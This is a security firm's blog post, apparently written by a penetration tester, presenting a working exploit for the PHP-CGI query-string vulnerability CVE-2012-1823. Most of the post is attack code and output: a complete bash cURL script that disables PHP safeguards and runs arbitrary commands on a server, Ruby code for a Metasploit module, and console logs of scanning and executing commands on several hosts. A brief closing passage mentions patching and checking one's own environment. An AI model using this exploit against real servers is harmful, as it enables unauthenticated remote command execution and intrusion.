During a recent penetration test, our team found a few web servers that were vulnerable to a PHP-CGI query string parameter vulnerability (CVE-2012-1823).


This vulnerability allows an attacker to execute commands without authentication, under the privileges of the web server. The target environment had very strong egress controls in place. All outbound ports were blocked and only ports 80 and 443 were allowed inbound. This made it difficult to obtain an interactive shell. Therefore, we decided to build a proof of concept exploit script using cURL to execute commands and then take it to the next level by authoring a new Metasploit Module.


Like this module? Explore more security tools »

Download phpcgi_exec.zip


Proof of concept exploit script

#!/bin/bash
#
# Semi-interactive shell over PHP-CGI POST requests.
#
#
if [ -z "$1" ] ;
   then
    echo "USAGE: $0 [ip] [command]"
   exit
fi

curl -i -s -k  -X 'POST' \
  -H 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)' \
  --data-binary "<?php system(\"$2\"); die; ?>" \
  "http://$1/cgi-bin/php5?%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn"

# end of script

OS Command Output

$ bash poc.sh 10.0.0.77 id

HTTP/1.1 200 OK
Date: Thu, 03 Jul 2014 03:26:52 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 54
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)


$ bash poc.sh 10.0.0.77 'uname -r'

HTTP/1.1 200 OK
Date: Thu, 03 Jul 2014 03:26:59 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 89
Content-Type: text/html

2.6.24-16-server

At its core, the script passes the necessary information and command(s) via cURL to the vulnerable web server. OS command output is returned in the HTTP response body as shown in the figures above.

Creating the Metasploit Module

To better understand the Metasploit module code, let’s revisit and explore the key components of the PoC script first. The exploit initially passes several arguments to the PHP interpreter in order to disable many of the available security features.  Specifically, the script passes the following arguments to the target PHP interpreter:

Using PHP command line options in the query string

-d allow_url_include=on 
-d safe_mode=off 
-d suhosin.simulation=on 
-d disable_functions="" 
-d open_basedir=none 
-d auto_prepend_file=php://input 
-d cgi.force_redirect=0 
-d cgi.redirect_status_env=0 
–n

These arguments are passed as GET parameters within the URI (example: /#{vulnerable_uri}?#{phpoptions}). We need to perform URL encoding so the values are properly passed to the web server. We start by performing some basic search/replace substitutions within the initial string.

Convert to URL encoding

phpcmd = '-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n'

phpcmd.gsub!(' ','+')
phpcmd.gsub!('=','%3d')
phpcmd.gsub!('/','%2f')
phpcmd.gsub!('.','%2e')
phpcmd.gsub!('"','%22')
phpcmd.gsub!('-','%2d')
phpcmd.gsub!(':','%3a')

The variable phpcmd now consists of the following string:

URL encoding applied

%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn

Next, we need to specify the actual OS command we want to instruct the web server to run. This will be passed in the POST body.

OS command output

phpdata = "<?php system('" + datastore['CMD'] + "'); die; ?>"

The datastore[‘CMD’] variable will contain the OS command the user specifies to execute on vulnerable web servers. We are now ready to execute the request and print out the response.

Execute request and print response

res = send_request_cgi({
        'uri'          => "#{uri}?#{phpcmd}",
        'method'       => 'POST',
        'data'         => phpdata,
      }, 5)

cmd_output = res.body
if res and res.code == 200 and res.body
  print_good(res.body)
end

Our module is now complete. We are able to execute OS commands on multiple vulnerable web servers. Below is an example of enumerating systems affected by the vulnerability and execution of two commands (id and uname -r). The module returns the output of the OS commands in the HTTP response.

First, we use db_nmap to enumerate systems with port 80 open.

Enumerate systems with port 80 open

msf > db_nmap 10.0.0.70-80 -p 80
[*] Nmap: Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-08-12 15:58 EDT
[*] Nmap: Nmap scan report for 10.0.0.74
[*] Nmap: Host is up (0.0010s latency).
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 80/tcp open  http
[*] Nmap: Nmap scan report for 10.0.0.75
[*] Nmap: Host is up (0.00095s latency).
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 80/tcp open  http
[*] Nmap: Nmap scan report for 10.0.0.76
[*] Nmap: Host is up (0.00089s latency).
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 80/tcp open  http
[*] Nmap: Nmap scan report for 10.0.0.77
[*] Nmap: Host is up (0.00084s latency).
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 80/tcp open  http
[*] Nmap: Nmap done: 11 IP addresses (4 hosts up) scanned in 1.25 seconds

The results of the nmap scan are stored in the Metasploit DB. The next step is to load our module and review the default configuration options.

Default configuration options

msf > use  auxiliary/scanner/http/phpcgi_exec
msf auxiliary(phpcgi_exec) > show options

Module options (auxiliary/scanner/http/phpcgi_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CMD        id               yes       The command to execute.
   Proxies                     no        Use a proxy chain
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port
   SSL        false            yes       Use SSL
   TARGETURI  /cgi-bin/php5    yes       The URL of the php-cgi interface.
   THREADS    1                yes       The number of concurrent threads
   VHOST                       no        HTTP server virtual host

We can query the Metasploit DB (services -p 80 -u -R) in order to set the RHOSTS variable to all servers with port 80 open.

Setting RHOSTS variable

msf auxiliary(phpcgi_exec) > services -p 80 -u -R

Services
========

host       port  proto  name  state  info
----       ----  -----  ----  -----  ----
10.0.0.74  80    tcp    http  open   
10.0.0.75  80    tcp    http  open   
10.0.0.76  80    tcp    http  open   
10.0.0.77  80    tcp    http  open   

RHOSTS => 10.0.0.74 10.0.0.75 10.0.0.76 10.0.0.77

We are now ready to run the module

msf auxiliary(phpcgi_exec) > run

[*] Verifying the phpcgi interface exists at http://10.0.0.74:80//cgi-bin/php5
[*] 10.0.0.74:80 - Sending request…
[+] http://10.0.0.74:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] Scanned 1 of 4 hosts (025% complete)
[*] Verifying the phpcgi interface exists at http://10.0.0.75:80//cgi-bin/php5
[*] 10.0.0.75:80 - Sending request…
[+] http://10.0.0.75:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] Scanned 2 of 4 hosts (050% complete)
[*] Verifying the phpcgi interface exists at http://10.0.0.76:80//cgi-bin/php5
[*] 10.0.0.76:80 - Sending request…
[+] http://10.0.0.76:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] Scanned 3 of 4 hosts (075% complete)
[*] Verifying the phpcgi interface exists at http://10.0.0.77:80//cgi-bin/php5
[*] 10.0.0.77:80 - Sending request…
[+] http://10.0.0.77:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed

We can specify a different OS command and run the module again.

msf auxiliary(phpcgi_exec) > set CMD uname -r
CMD => uname -r
msf auxiliary(phpcgi_exec) > run

[*] Verifying the phpcgi interface exists at http://10.0.0.74:80//cgi-bin/php5
[*] 10.0.0.74:80 - Sending request…
[+] http://10.0.0.74:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server

[*] Scanned 1 of 4 hosts (025% complete)
[*] Verifying the phpcgi interface exists at http://10.0.0.75:80//cgi-bin/php5
[*] 10.0.0.75:80 - Sending request…
[+] http://10.0.0.75:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server

[*] Scanned 2 of 4 hosts (050% complete)
[*] Verifying the phpcgi interface exists at http://10.0.0.76:80//cgi-bin/php5
[*] 10.0.0.76:80 - Sending request…
[+] http://10.0.0.76:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server

[*] Scanned 3 of 4 hosts (075% complete)
[*] Verifying the phpcgi interface exists at http://10.0.0.77:80//cgi-bin/php5
[*] 10.0.0.77:80 - Sending request…
[+] http://10.0.0.77:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server

[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed

The PHP-CGI vulnerability has been public for several years now, but we’re still finding evidence of it on live production servers. Remediation and mitigation options are quite basic: 1) patch, 2) disable use of CGI mode for PHP, or 3) implement a WAF. This module can also be used to determine whether any vulnerable instances exist in your environment and to verify remediation.

Hack all the things!

@jabra





Your World, Secured.


Tech Puzzles

Try our Puzzles

Test your problem solving skills. Do you have what it takes?

Try puzzles »